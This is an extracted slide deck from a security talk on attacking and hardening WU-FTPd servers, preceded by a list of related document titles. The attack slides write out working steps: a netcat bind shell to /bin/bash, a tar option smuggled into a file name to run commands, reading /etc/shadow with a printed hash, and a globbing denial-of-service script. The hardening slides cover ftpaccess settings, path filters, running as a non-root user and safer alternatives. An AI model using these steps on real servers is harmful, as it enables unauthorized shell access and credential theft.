Attacking and Securing Unix FTP Servers. Jay Beale President, JJB Security Consulting Lead Developer, Bastille Linux



Similar documents
vsftpd - An Introduction to the Very Secure FTP Daemon

FTP Server Configuration

Linux FTP Server Setup

SEAGATE BUSINESS NAS ACCESSING THE SHELL. February 1, 2014 by Jeroen Diel IT Nerdbox

Connectivity using ssh, rsync & vsftpd

Working With Your FTP Site

Preventing credit card numbers from escaping your network

File Transfer Protocol

My FreeScan Vulnerabilities Report

How to upload large files to a JTAC Case

SSL Tunnels. Introduction

Desktop : Ubuntu Desktop, Ubuntu Desktop Server : RedHat EL 5, RedHat EL 6, Ubuntu Server, Ubuntu Server, CentOS 5, CentOS 6

Using Network Attached Storage with Linux. by Andy Pepperdine

$ftp = Net::FTP->new("some.host.name", Debug => 0) or die "Cannot connect to some.host.name: $@";

Quick Start Guide. Cerberus FTP is distributed in Canada through C&C Software. Visit us today at

1. How to install PureFTP on SLES 11

Running a Default Vulnerability Scan

Linux Security Ideas and Tips

HP Education Services

File Transfer Protocol (FTP) Chuan-Ming Liu Computer Science and Information Engineering National Taipei University of Technology Fall 2007, TAIWAN

Know Your Enemy: A Forensic Analysis

Discovering Mac OS X Weaknesses and Fixing Them with the New Bastille OS X Port

Nixu SNS Security White Paper May 2007 Version 1.2

Secure File Transfer Installation. Sender Recipient Attached FIles Pages Date. Development Internal/External None 11 6/23/08

SECURE FTP CONFIGURATION SETUP GUIDE

Bastille Linux: Security Through Transparency

Running a Default Vulnerability Scan SAINTcorporation.com

Directory and File Transfer Services. Chapter 7

Project Proposal Active Honeypot Systems By William Kilgore University of Advancing Technology. Project Proposal 1

Monitoring a Linux Mail Server

INSTALLING KAAZING WEBSOCKET GATEWAY - HTML5 EDITION ON AN AMAZON EC2 CLOUD SERVER

Centers for Medicare and Medicaid Services. Connect: Enterprise Secure Client (SFTP) Gentran. Internet Option Manual

AlienVault Unified Security Management (USM) 4.x-5.x. Deploying HIDS Agents to Linux Hosts

1 hours, 30 minutes, 38 seconds Heavy scan. All scanned network resources. Copyright 2001, FTP access obtained

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder.

Hardened Hosting. Quintin Russ. OWASP New Zealand Chapter th December 2011

Auditing and Hardening Unix Systems Using CIS benchmarks on SUSE Linux

Worms, Trojan Horses and Root Kits

CCM 4350 Week 11. Security Architecture and Engineering. Guest Lecturer: Mr Louis Slabbert School of Science and Technology.

Remotely Owning Secure Parking Systems

Internet Security [1] VU Engin Kirda

Administrasi dan Manajemen Jaringan 2. File Transfer Protocol (FTP)

BF2CC Daemon Linux Installation Guide

The Einstein Depot server

5. At the Windows Component panel, select the Internet Information Services (IIS) checkbox, and then hit Next.

SimpleFTP. User s Guide. On-Core Software, LLC. 893 Sycamore Ave. Tinton Falls, NJ United States of America

If you examine a typical data exchange on the command connection between an FTP client and server, it would probably look something like this:

Secure Shell Demon setup under Windows XP / Windows Server 2003

IDS and Penetration Testing Lab ISA656 (Attacker)

SCP - Strategic Infrastructure Security

Secure Shell. The Protocol

Active FTP vs. Passive FTP, a Definitive Explanation

IBM WebSphere Application Server Version 7.0

N-CAP Users Guide Everything You Need to Know About Using the Internet! How Firewalls Work

REPORT ON AUDIT OF LOCAL AREA NETWORK OF C-STAR LAB

Hervey Allen. Network Startup Resource Center. PacNOG 6: Nadi, Fiji. Security Overview

AnzioWin FTP Dialog. AnzioWin version 15.0 and later

Codes of Connection for Devices Connected to Newcastle University ICT Network

6WRUP:DWFK. Policies for Dedicated IIS Web Servers Group. V2.1 policy module to restrict ALL network access

Penetration Testing Report Client: Business Solutions June 15 th 2015

42goISP Documentation

CASHNet Secure File Transfer Instructions

Web Application Security Payloads. Andrés Riancho Director of Web Security OWASP AppSec USA Minneapolis

ISPConfig Documentation

FTP Peach Pit Data Sheet

ANNEXURE-1 TO THE TENDER ENQUIRY NO.: DPS/AMPU/MIC/1896. Network Security Software Nessus- Technical Details

Using Nessus In Web Application Vulnerability Assessments

WS_FTP Pro for Windows 95/98/NT

Unix Sampler. PEOPLE whoami id who

WinSCP PuTTY as an alternative to F-Secure July 11, 2006

6WRUP:DWFK. Policies for Dedicated SQL Servers Group

System Security Guide for Snare Server v7.0

Hardening Joomla 1. HARDENING PHP. 1.1 Installing Suhosin. 1.2 Disable Remote Includes. 1.3 Disable Unneeded Functions & Classes

Adobe Marketing Cloud Using FTP and sftp with the Adobe Marketing Cloud

IBM Managed Security Services Vulnerability Scanning:

How To Install Storegrid Server On Linux On A Microsoft Ubuntu 7.5 (Amd64) Or Ubuntu (Amd86) (Amd77) (Orchestra) (For Ubuntu) (Permanent) (Powerpoint

A Roadmap for Securing IIS 5.0

ACCREDITED SOLUTION. EXPLORER Core FTP

Contents. Part 1 SSH Basics 1. Acknowledgments About the Author Introduction

Secure Software Programming and Vulnerability Analysis

Installing the SSH Client v3.2.2 For Microsoft Windows

ERNW Newsletter 51 / September 2015

Moxa Device Manager 2.3 User s Manual

SendMIME Pro Installation & Users Guide

Sharing Files Over Internet With Thecus NAS Device. Thecus TME

CS 640 Introduction to Computer Networks. Network security (continued) Key Distribution a first step. Lecture24

How to scan/exploit a ssl based webserver. by xxradar. mailto:xxradar@radarhack.com. Version 1.

SSH and FTP on Ubuntu WNYLUG Neal Chapman 09/09/2009

Ex Libris Patch Instructions for Oracle 10 CPUs for Voyager Windows Servers

Case Studies. Joint software development Mail 1 / 38. Case Studies Joint Software Development. Mailers

Incremental Backup Script. Jason Healy, Director of Networks and Systems

IIS, FTP Server and Windows

Transcription:

Attacking and Securing Unix FTP Servers Jay Beale President, JJB Security Consulting Lead Developer, Bastille Linux

Contents Simple: Working exploits against WU-FTPd Configuring WU-FTPd against attack Defeated exploits against WU-FTPd Where weõve got working exploits, weõll focus on demonstration rather than lecture.

FTP Conversion Vulnerability Not a buffer overflow! Uses the Òtar files up for meó feature in WU-FTPd. Target: WU-FTPd 2.4.x - 2.6.0 (RH <=6.2, SuSE <=7.3, Immunix <=6.2) (http://online.securityfocus.com/bid/2240/)

Preparing to Exploit $ cat > script #!/bin/bash nc -l Ðp 6666 Ðe /bin/bash <CTRL-D> $ tar -cf b.tar nc script $ cat >blah # tar -xf b.tar./script <CTRL-D>

ExploitingÉ $ csh $ echo > '--use-compress-program=bash blah' $ ftp target (login as user) ftp> put b.tar ftp> put blah ftp> put ÒÑuse-compress-program=bash blahó ftp> get Òuse-compress-program=bash blahó.tar

Remote shell $ nc target 6666 WeÕve got a remote shell with the privileges of the user we logged in as. If we want a rootshell, we just bring a privilege escalator with usé (Credits to SUID and Securiteam)

Rootshell? $ tar -cf b.tar nc script userrooter.sh ftp target (login as same user) ftp> put b.tar ftp> get Ò--use-compress-program=bash blahó.tar $ nc target 6666./userrooter.sh userrooter by S grep root /etc/shadow root:$1$mu.tgav3$x8wisngv92c.oxfe0pvqb1:11870:0:9999 9:7:-1:-1:134538460

Joy. This exploit is harder to pull off on an anonymous login, but possible. ItÕs tougher to pull off, mostly because weõre chrooted without far to go, with only user ftp. We can use this to defend normal user access.

Avoidance We can avoid this exploit by configuring the FTP daemon to disallow tarring/compression. We can also make sure that anonymous users canõt retrieve the files that they place on the server. Files to be downloaded again should probably be examined individually. Finally, weõll look at a path filter later in this talk.

Sample /etc/ftpaccess class real,guest,anonymous * email root@localhost message /welcome.msg login message.message cwd=* compress yes all tar yes all chmod no guest,anonymous delete no guest,anonymous overwrite no guest,anonymous rename no guest,anonymous log transfers anonymous,real inbound,outbound passwd-check rfc822 warn

Deactivating tar, compressé We can avoid this exploit by configuring the FTP daemon to disallow tarring/compression in /etc/ftpaccess: compress tar chmod delete overwrite rename no all no all no anonymous no anonymous no anonymous no anonymous

Anonymous Upload? Anonymous upload is dangerous enough. We can lessen the risk greatly. First, set good perms: mkdir /home/ftp/incoming chown root.root /home/ftp/incoming chmod 333 /home/ftp/incoming chmod a-w /home/ftp

Anonymous Upload? Second, configure default permissions for all incoming files, via /etc/ftpaccess: Upload /home/ftp /incoming yes root ftp 0600 nodirs Noretrieve /home/ftp/incoming

FTP globbing Vulnerability 1 Denial of Service #!/bin/bash=20 ftp -n FTP-SERVER<<\end=20 quot user anonymous bin quot pass shitold@bug.com ls /../*/../*/../*/../*/../*/../*/../*/../*/../*/../* /../*/../*/../* bye=20 end=20 (http://online.securityfocus.com/bid/2496)

FTP globbing Vulnerability 1 Targets: WU-FTPd <=2.6.0 (RH 6.2,SuSE 7.3) ProFTPd <=1.2.1 Other targets: MacOS 10.0.0, 10.0.1 Solaris 8 HP-UX 11.11 (11i)

Avoidance / Containinment We can stop this from taking over the system by putting good resource limits in. WeÕll also look at a path filter in the FTP daemon configuration.

FTP globbing Vulnerability #2 WU-FTPd 2.6.1 had a heap corruption vulnerability in the globbing code. http://online.securityfocus.com/bid/3581

FTP globbing Vulnerability #2 Targets: WU-FTPd <=2.6.1 RH 7.2, SuSE 7.3, Mdk 8.1 Exploit is believed to be in circulation, but not publically available.

Testing Vulnerability 220 rh72 FTP server (Version wu-2.6.1-18) ready. Name (127.0.0.1:jay): anonymous 331 Guest login ok, send your complete e-mail address as password. Password: 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls ~{ 227 Entering Passive Mode (127,0,0,1,116,136) 421 Service not available, remote server has closed connection

Avoidance This is in the globbing code, which we canõt shut off. There are no permissions checks on files or other settings that we can tweak. Since an authenticated session is required, the only way to avoid this is to prevent the attacker from logging in.

Containment If weõre running only an anonymous FTP server, we can set inetd/xinetd to always run it as user ftp, forcing anyone logging in to get only user ftp and to possibly get stuck in a chroot.

Site_Exec WU-FTPd had a serious format string vulnerability in the SITE EXEC functionality. Even from simple anonymous access, this got you all the way to root. http://online.securityfocus.com/bid/1387

Site_Exec Targets: WU-FTPd <= 2.6.0 RH <= 6.2,SuSE <= 7.3 HP-UX <= 11.11 (11i)

Avoidance? SITE EXEC canõt be deactivated. But there is hope. If you only need WU-FTPd for anonymous upload/download, set inetd/xinetd to run in.ftpd as the ftp user, instead of root.

Avoidance? /etc/xinetd.d/wu-ftpd service ftpd { socket_type = stream wait = no User = ftp É } inetd.conf ftp stream tcp nowait ftp /usr/sbin/tcpd in.ftpd Ðl -a

Containment Chrooting wonõt stop the attacker if heõs root. Root can break out of chroots on many operating systems. DonÕt trust the app to drop privilege Ð try to never give it extra privilege to drop.

Message Buffer Overflow WU-FTPd optionally offers messages when you login, change directory, trigger an error condition,é As a feature, these can include a number of Òmagic cookies,ó which WU-FTPd will substitute for, like: %R Ð client hostname %N Ð number of users in a class

Message Buffer Overflow ThereÕs a buffer overflow condition in WU-FTPdÕs handling of these. http://online.securityfocus.com/bid/726 Is this a threat?

Are we vulnerable? On the positive side, most sites donõt use these by default. Then again, letõs look at a popular default /etc/ftpaccess file: # Messages displayed to the user message /welcome.msg login message.message cwd=* Problem: if an attacker can write to any directory that doesnõt have a.message file yet, he wins. (Spot the other one?)

Avoidance We can avoid this by not letting an attacker write to any directory. If this isnõt possible, we can block him from writing to any file that begins in a Ò.Ó Finally, we can make sure that the FTP area has good permissions on its root directory.

Avoidance path-filter anonymous /etc/error ^[-A-Za-z0-9\._]*$ ^\. ^- For any file to get through, it must match the first pattern and not match any of the following. Note that this stops both the message exploit here and the earlier tar vuln.

More Avoidance We can also remove all the messages from our configuration file, though this is difficult, since theyõre pervasive. Finally, we can make sure that anonymous users canõt upload files. If we have real users, though, it gets difficult.

More Avoidance # Removing messages from /etc/ftpaccess $ grep Ðv message /etc/ftpaccess > /etc/ftpaccess.new $ mv /etc/ftpaccess.new /etc/ftpaccess

Containment Avoidance is really better here, but we can definitely try to contain the damage. We can contain the damage by running an anonymous-only FTP server, set by inetd/xinetd to always run as a nonroot user. Remember, anonymous FTP is automatically chrooted.

Additional Measures Log more, by adding this to ftpaccess: log security anonymous,guest,real log commands anonymous,guest,real And add ÒrealÓ to the list of users for whom we log transfers.

Go Beyond ftpusers The traditional way of making sure that only real humans used ftp, and not system accounts, was to periodically make sure all non-humans were in /etc/ftpusers. Now, just do this in ftpaccess: deny-uid %-499 (replace 499 w/ max non-human deny-gid %-499 uid/gid here) allow-uid ftp allow-gid ftp

Worms and Autorooters On top of all this, there are worms, mass rooters and auto rooters which automatically scan for and exploit vulnerabilities. The HoneyNet project had a system scanned and compromised by a worm within 92 seconds of it coming online.

Ramen Worm Most of the worms sacrifice intelligence for speed. Ramen scans FTP server banners for build dates. DonÕt give away the information and this worm wonõt even try to attack.

Minimizing Your Banner In WU-FTPdÕs /etc/ftpaccess, add/change line: greeting terse 220 target.server FTP server (Version wu- 2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready. Name (192.168.2.3:jay): becomes: 220 FTP server ready. Name (192.168.2.3:jay):

Choosing Your Own Banner Then again, that makes it easier to spot WU-FTPd for a saavy attacker. So, make your own line! greeting text FTP Server Here 220 FTP Server here Name (192.168.2.3:jay):

Alternatives to WU-FTPd You can also avoid the pain of trying to dodge or contain all the ftpd root vulns. ProFTPd has a slightly better security history. OpenBSDÕs ftpd has a bad security history.

vsftpd vsftpd actually has never had a security issue. vsftpd doesnõt use external programs like ls and tar. Remember that our first vulnerability came from WU- FTPd using tar!

vsftpd vsftpd uses multiple processes: Parent: small, simple, with privilege for: 1. attaching to <1024 ports 2. invoking processes as arbitrary connecting users

vsftpd vsftpd uses multiple processes: Child: larger, handles all network communication and parsing

vsftpd.beasts.org Very solid architecture: Everything possible is chrooted. Parent/child communicate over a socket: child gives auth data to parent, which then can spawn a new child to handle any authõd connections. User doesnõt directly interact with root! Linux capabilities limit root.

Alternatives to FTP Even better, get away from FTP! HTTP for anonymous file distribution. SFTP (SSH) for authenticated file movement.

Go Change Your Environment! Too many times, someone attends my talk and sets Òharden my serversó as a low priority/procrastination point. Then they call me later when they get hacked to do forensics or to help them harden after they do a complete rebuild. If you can, please fix it now, before the next attack.

DefCon Talks IÕll be speaking at DefCon on how to harden Apache servers and on the Bastille Project, which tightens Linux and HP-UX systems.